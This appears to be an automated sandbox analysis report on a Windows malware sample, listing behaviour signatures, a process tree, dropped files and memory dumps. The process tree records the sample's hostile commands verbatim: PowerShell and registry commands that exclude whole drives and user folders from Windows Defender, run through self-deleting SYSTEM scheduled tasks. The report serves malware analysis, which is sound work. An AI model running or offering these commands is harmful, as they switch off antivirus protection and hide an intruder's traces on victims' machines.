Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 04:41

General

  • Target
    2026-08-19_b0c2543370e752bf8f5d1dc529f927e0_amadey_cobalt-strike_coinminer_dosia_glassworm_icedid_nj.exe
  • Size 35.0MB
  • Sample260819-fa3jqayvft
  • SHA256 e99fdcb6a798075034a7a97ebfaec259c34cdca2df09851d856a2982e49543ec
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-19_b0c2543370e752bf8f5d1dc529f927e0_amadey_cobalt-strike_coinminer_dosia_glassworm_icedid_nj.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-19_b0c2543370e752bf8f5d1dc529f927e0_amadey_cobalt-strike_coinminer_dosia_glassworm_icedid_nj.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:460
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3896
    • C:\Users\Public\vbuIbc\5LdCmh.exe
      "C:\Users\Public\vbuIbc\5LdCmh.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:6040
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vbuIbc\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vbuIbc\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4704
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1940
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5704
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:2624
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1328
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4624
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4952
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:2892
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5528
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5256
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4440
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2164
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:3812
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5600
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4300
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1300
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4672
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:1768
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2008
                        • C:\Users\Public\vbuIbc\5LdCmh.exe
                          "C:\Users\Public\vbuIbc\5LdCmh.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:5124
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vbuIbc" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5624
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vbuIbc" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2280
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3028
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:200
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:204
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:6136
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4760

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                5LdCmh.exe

                                • Path C:\Users\Public\vbuIbc\5LdCmh.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\vbuIbc\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 7892b134d79e2259048e4e5c3bb609292086f4dbe4c6034d22f348ca30d90804
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\vbuIbc\adoresd.dat
                                • Size 4.7MB
                                • SHA256 fbc52aeaebe44052e7b09e78963cb89e9af93c13f846878ef7e7d7cb766cdd63
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\vbuIbc\msadox.tb
                                • Size 8KB
                                • SHA256 6da079e81fb3af47bd408be490d9a2ba165ba7b6fc23f25fc181c4446f76346f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/460-1-0x00000000041A0000-0x00000000041AE000-memory.dmp

                                memory/460-2-0x0000000004200000-0x000000000420C000-memory.dmp

                                memory/460-504-0x00007FF921B80000-0x00007FF921B92000-memory.dmp

                                memory/460-526-0x00000000041A0000-0x00000000041AE000-memory.dmp

                                memory/460-527-0x00007FF921B80000-0x00007FF921B92000-memory.dmp

                                memory/460-0-0x00000000041A0000-0x00000000041AE000-memory.dmp

                                memory/4472-560-0x0000029BCB550000-0x0000029BCB5DA000-memory.dmp

                                memory/4472-566-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-539-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-541-0x00007FF92BA60000-0x00007FF92BA62000-memory.dmp

                                memory/4472-542-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-547-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-546-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-549-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-548-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-553-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/4472-533-0x00007FF92BA50000-0x00007FF92BA52000-memory.dmp

                                memory/4472-559-0x0000029BC8AB0000-0x0000029BC8AFE000-memory.dmp

                                memory/4472-563-0x0000029BCB550000-0x0000029BCB5DA000-memory.dmp

                                memory/4472-564-0x0000029BCB550000-0x0000029BCB5DA000-memory.dmp

                                memory/4472-562-0x0000029BCB550000-0x0000029BCB5DA000-memory.dmp

                                memory/4472-534-0x00007FF908DF0000-0x00007FF90930E000-memory.dmp

                                memory/4472-568-0x0000029BCAC20000-0x0000029BCB4A7000-memory.dmp

                                memory/5124-587-0x000001FB995A0000-0x000001FB99E27000-memory.dmp

                                memory/5124-579-0x000001FB995A0000-0x000001FB99E27000-memory.dmp

                                memory/5124-586-0x000001FB995A0000-0x000001FB99E27000-memory.dmp

                                memory/5124-589-0x000001FB995A0000-0x000001FB99E27000-memory.dmp

                                memory/5124-590-0x00007FF92BA50000-0x00007FF92BA52000-memory.dmp

                                memory/5124-588-0x000001FB995A0000-0x000001FB99E27000-memory.dmp

                                memory/5124-577-0x00007FF908DF0000-0x00007FF90930E000-memory.dmp

                                memory/5124-583-0x000001FB995A0000-0x000001FB99E27000-memory.dmp

                                memory/5124-581-0x00007FF92BA60000-0x00007FF92BA62000-memory.dmp

                                memory/6040-596-0x000001C370A20000-0x000001C370A42000-memory.dmp

                                memory/6040-599-0x000001C370C50000-0x000001C370C6E000-memory.dmp

                                memory/6040-600-0x000001C370C70000-0x000001C370D22000-memory.dmp

                                memory/6040-602-0x000001C370E30000-0x000001C370E3A000-memory.dmp